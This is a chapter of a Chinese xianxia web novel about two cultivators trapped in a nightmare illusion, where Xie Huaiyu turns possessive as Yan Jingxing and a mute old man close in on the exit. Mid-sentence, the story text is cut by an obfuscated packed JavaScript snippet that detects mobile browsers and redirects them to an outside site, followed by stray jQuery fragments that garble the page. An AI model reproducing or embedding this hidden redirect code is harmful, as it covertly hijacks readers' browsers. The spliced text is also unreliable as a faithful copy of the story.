晏景行就这样跟谢怀玉在魇结织的迷境中生活下来,日出而作,日落而息,他数着日子,一直没放弃寻找出去的路。趁夜晚谢怀玉熟睡之际,时常在老人离开后跟上去,一遍遍走出百米的限制,转而回到院子里。
一次次失败,他的心也越来越沉。
白天的时候,谢怀玉安静地坐在院子里,不厌其烦地看他离开又回来。在晏景行反复尝试到疲惫时,端来一杯沁凉的水递过去:“歇会儿吧。”
晏景行接过,勾了勾唇,笑容有几分勉强:“我不累,早点找到出路,就能早点带你回去了。”
谢怀玉道:“一定要回去吗?”
他语气平静,说出来的话却像一声巨雷,震得晏景行心里的山都倾颓。
喉咙淌过凉意,彷佛凉进人心里,晏景行端着茶杯的手微微用力,像是不理解一样,抬眼问道:“什么意思?”
谢怀玉低着头,神色并不分明,鸦羽般的眼睫,在眼下投射出一圈阴影,宛如黑色的牢笼,将眼底的情绪封锁其间:“回去很好吗?你那天,跟我讲了很多事,但是除了你,我身边好像没有其他人。”
晏景行原本想说的话一下卡在了喉咙里。
谢怀玉抬起头,灰眸哀色闪烁:“回去,会比在这里过得更好吗?”
晏景行嘴唇紧闭,他对此做不出承诺,可不得不开口道:“小琢,不是这样的,我们不能被困在魇气里一辈子。更何况,你是蓬莱的少岛主,你……”
意识到自己后面想说什么,晏景行猛然停下话语。
他什么时候也学会了拿身份说事了?
哪怕说想出去一起看万水千山,尝数不尽的美食,都比因为他是少岛主,肩负蓬莱百姓安危的责任要好得多。
谢怀玉等了半天,没听见下话,转身走向常坐的地方。在魇气里,他格外喜欢发呆,盯着远处的一根草,一棵树,能看一整天。
破除魇气,回到蓬莱,然后呢?晏景行思绪不受控地走向另一条从未设想过的道路,小琢继续为了仙门赴汤蹈火,继续生活在谢望归与任月阳的一言一令中的日子,什么时候有尽头?
或许在这里,小琢会更快乐。
不对。晏景行强迫自己把脑中莫名其妙的想法全部抛了出去,肯定是魇气在作祟,妄图潜移默化改变他们的想法。小琢使不出法术,受魇气影响更深,所以才会说出那样的话,他不能跟着着了魇气的道。
老人今日回来,身上沾着不知哪里碰到的白絮。晏景行眼尖地瞥见,过去替他整理:“先生,你衣服乱了。”他快速捻下那几片白絮,藏进手心。
“芦花?”老人进屋后,晏景行坐在院中,举起白絮对着天空辨别,旁边桌椅影子拖得斜长,黄昏的余晖照亮了他半边脸颊,“他去了长有芦苇的地方,野芦苇一般生长在湿地,可能还有河流。他去那种地方做什么,莫非又是单纯爱看芦花?”
晏景行皱着眉,想不明白。等到晚上,他依旧坐在院中,心想今日无论如何也要拦住老人,逼问出什么。
刚下定决心,便听见有人唤自己,他回过头,谢怀玉冷冷清清倚在门边,双目似盯非盯,夜猫似的视线落在他身上:“景行,天黑了,还不进来吗?”
晏景行应了一声,忙起身过去:“小琢,有什么事?”
谢怀玉敛着眉眼:“没什么,只是你最近太累了,想叫你早点休息。”
晏景行心里一暖,如实道:“你先去休息吧,我晚上还得出去一趟。”
抓在门框上的手指拱起弧度,谢怀玉顿了顿,问道:“你出去做什么?”
晏景行看了一眼隔壁,没看见老人的身影,低声道:“我要跟他出去,问清楚他到底在做什么。我们来这儿这么久了,他总神神秘秘的,我猜,背后肯定有什么不可告人的大事。”
他说完,安抚地拍了拍谢怀玉的手:“小琢你别怕,走之前我会布下结界保护你。”
自两人相识,几乎一直是谢怀玉在保护他。这段时间,晏景行好好感受了一把保护对方的滋味,心里别提多开心了。话别完,他转身要走,手心塞进来另一只微凉的手,身体霎时像被钉在了原地。
谢怀玉拉着他的手,没怎么用力,但两只手宛如吸在了一起,纹丝不动。
“景行,你可以,留下来吗?”
他一句话说得断断续续,好似并不习惯如此,晏景行被这句话惊得扭头都“咔嚓”响了一声。他看见那只谢怀玉藏在发丝间的耳朵,像是一块莹白的月,不带一点羞涩的颜色。
“我……”晏景行从未见过这般神情的谢怀玉,色令智昏般痴愣得像根木桩,片刻前下定的决心连尾巴都看不见了。
谢怀玉抬眼,眼睫扑朔,手中略一施力,扯过晏景行的手腕,踮着脚,仰起雪白的下巴。
是一个讨吻的姿势。
晏景行被如雷似鼓的心跳震得几乎晕过去,他盯着那张不画而红的唇,想起初次触碰时柔软的触感,喉结滚动了一下。
咫尺之距,比吻先感受到的,是对方的呼吸。
谢怀玉没有闭眼,灰眸靠近时,晏景行彷佛再度浸入水底。冰冷的冰川水包裹住身躯,熟悉的窒息感卷土重来。同样的灰眸,却好像少了什么原本就有的东西,多了一些本不该有的情绪。
第一次接吻时,小琢也是这个眼神吗?
灰眸不慌不乱,甚至带着几分势在必得的游刃有余,以及眼底深处,那点刺痛了晏景行的冷漠。
他破水而出,略有迷离的眼神瞬间清醒,即将吻上时,偏头躲开了。
说不出什么心情,晏景行借偏头避开谢怀玉的视线,双耳嗡鸣一声,只听见自己乱了方寸的呼吸。
身后一阵“笃”“笃”声,在夜里宛如惊雷炸开,晏景行如释重负地吐出一口气,退后两步,拉开跟谢怀玉的距离,朝声音处看去。
老人正要出门,拄着拐杖,视若无物地从他们眼前路过。
一见老人离开院子,晏景行快速布下结界,低声嘱咐:“小琢,你先休息。”
谢怀玉望着他走远,直到那道玉树身影融进夜色。他斜靠在门边,一缕乌发垂落到身前。
“你对我真好,”他呢喃道,“我有些舍不得你走了。”
晏景行追上老人,一把拉住他的衣袖:“别走!”他一时情景,用力猛了些,老人整片身子转了个完整的圈,从背对他变成了跟他面对面。
伸出去的手带着尴尬收回,晏景行计划的质问也变成了带着几分讨好的请问:“先生,你这是要去哪儿?”
老人看出他来意,但显然没有帮助他的打算,甩开他的手,执意往前。
他固执,晏景行更加固执,被甩开的那瞬间,他心里因老人不同于削瘦身形的力道惊了一瞬,暗道:真是个铁石心肠,冷得像块冰一样。
他倏地僵住,有那么一瞬间,他居然觉得老人跟小琢很像。确切的说,是刚认识的小琢。
一定是在这里待的时间太长,魇气开始侵蚀他的内心了,得赶快出去。
“先生,求你了!”晏景行狗皮膏药似的黏上去,只差跪地,“你每天出去是在找出口吗?是的话你就点头,我们可以合作。我是仙门弟子,能打能杀,你需要我做什么都行。”
老人看着被抓成麻花的衣袖,在晏景行期盼的目光里,艰难地点了下头。
这一点头,看得晏景行差点落泪,心里如去了痦子一般轻松。他挺直腰身,抓着老人衣袖不放,唯恐他突然变卦。
晏景行道:“先生,你不能说话吗?”
老人点头。
晏景行道:“你可找到魇气出口了?”
老人又点了下头。
晏景行神色激动:“真的?太好了!在哪儿,莫非是你今天去的有芦苇的地方?”
老人微愣,没想到他会猜到。
晏景行笑容略有几分骄傲道:“我在你身上发现了芦花,随便一猜罢了。对了,既然你已经知道出口了,为什么不离开?”
老人摇了摇头。
晏景行明白过来:“不能离开?怎么会这样,找到出口了也不能出去,是不是还需要什
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15880670|170955||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么条件?”
老人陷入一贯的沉默。
晏景行不想就这么结束探讨,皱着眉头想办法:“先生,我不能离开院子超过百米,你应该早就发现了吧。这是为什么,你知道吗?”
老人抬手,指了指心口。
心?
晏景行低头看了看左下方,忽然想起谢怀玉之前说过的一句话,当时他还奇怪对方为何莫名说到人心,现在想想,估计是有关魇气的提示。
“先生是要我认清内心的意思?”
老人点头。
晏景行丈二和尚摸不着头脑,不明白要如何认清内心。
他根本不觉得自己糊涂。
今夜过后,晏景行白天绞尽脑汁认清内心,什么清心静心的咒语都用上了,还是不能出去。晚上则跟着老人一块儿出去,使尽仙术,一寸寸拓开离院的距离。
“远了,变远了!”晏景行惊喜地比划了一下昨天跟今天相隔的距离,足有一条胳膊那么长。
无人回答,晏景行早就习惯了老人的沉默,自顾自道:“只是我想不明白为什么,明明我什么都没做,怎么会这样呢。”
最大的变化,不过就是他跟老人相处的时间多了许多。
距离出口越来越近,晏景行甚至能感受到一股湿润的风,从前方的黑暗里吹过来。
就快要到了。
这天,晏景行在院中稍作休憩,打算休息完继续出去,谢怀玉在这时悄无声息地来到他身边。
“景行。”
晏景行睁开眼,笑道:“小琢。”
那夜的事,两人心照不宣没再提。只是偶尔出神时,晏景行不可避免会想起,他觉得小琢变得很奇怪,但稍一揣测,内心便极力排斥这一行为,于是他把所有原因都推给了魇气。
谢怀玉俯身弯腰看着晏景行,灰眸有些冷:“你最近跟那个老人走得很近。”
今日风清日朗,两人视线交缠,一上一下的位置,本是暧昧不清的,晏景行却感到一丝不适,他坐起身,没想太多:“说到这个,小琢,我已经弄清楚他的身份了,只是跟我们一样被困在魇气里的无辜人,我还跟他……”
“你太天真了。”谢怀玉陡然打断他,面容覆上一层薄霜,“他这个年纪的人,突兀地出现在魇气里,怎么可能会普通?普通人能到达归墟?你被他骗了。”
“你怎么了,小琢。”晏景行察觉他心情不佳,轻抚着他的肩,“是不是我最近冷落你了?对不起,这段时间我急着找出口,不是故意的。”
“我以为你说喜欢我,会每天陪着我。”谢怀玉握住他的手,“怎么反而跟一个素不相识的人,昼夜待在一起,难道他一个糟老头子会比我更好?”
晏景行听见这话,一时心急一时错愕:“没有谁会比你更好,小琢,你不要乱想。”
谢怀玉闻言,神情缓和了些许:“我就知道,你当初看中的是我的脸。说什么一见钟情,不过是见色起意。”
晏景行心口像被什么刺了一下,没有说话。他在心里默默反驳:不是的。漂亮的人我见过许多,但喜欢的只有小琢一个。
谢怀玉继续道:“你看他那张脸,不害怕吗?”
晏景行像是从未认识过谢怀玉一样盯着他:“小琢,你在说什么?”
“我说错了吗?”谢怀玉反问,“你不也被那张脸吓到过?”
“只是当时突然看见有人,所以才会……”晏景行解释到一半,猛然意识到一件事,“你怎么知道我被吓到过?”
一时间,各种想法雨后春笋般在脑海里冒出来,晏景行不禁往后退了一步。
谢怀玉从容不迫道:“我听见了,只是当时醒不过来。”
晏景行松了口气:“原来是这样。小琢,以后不要再说这样伤人的话了,他好歹救了我们不是吗?而且还答应带我们去出口。”
谢怀玉道:“你要跟他走?”
晏景行纠正道:“是我们一起走。”
谢怀玉道:“如果我不走,你会跟我一起留下,还是选择跟他出去?”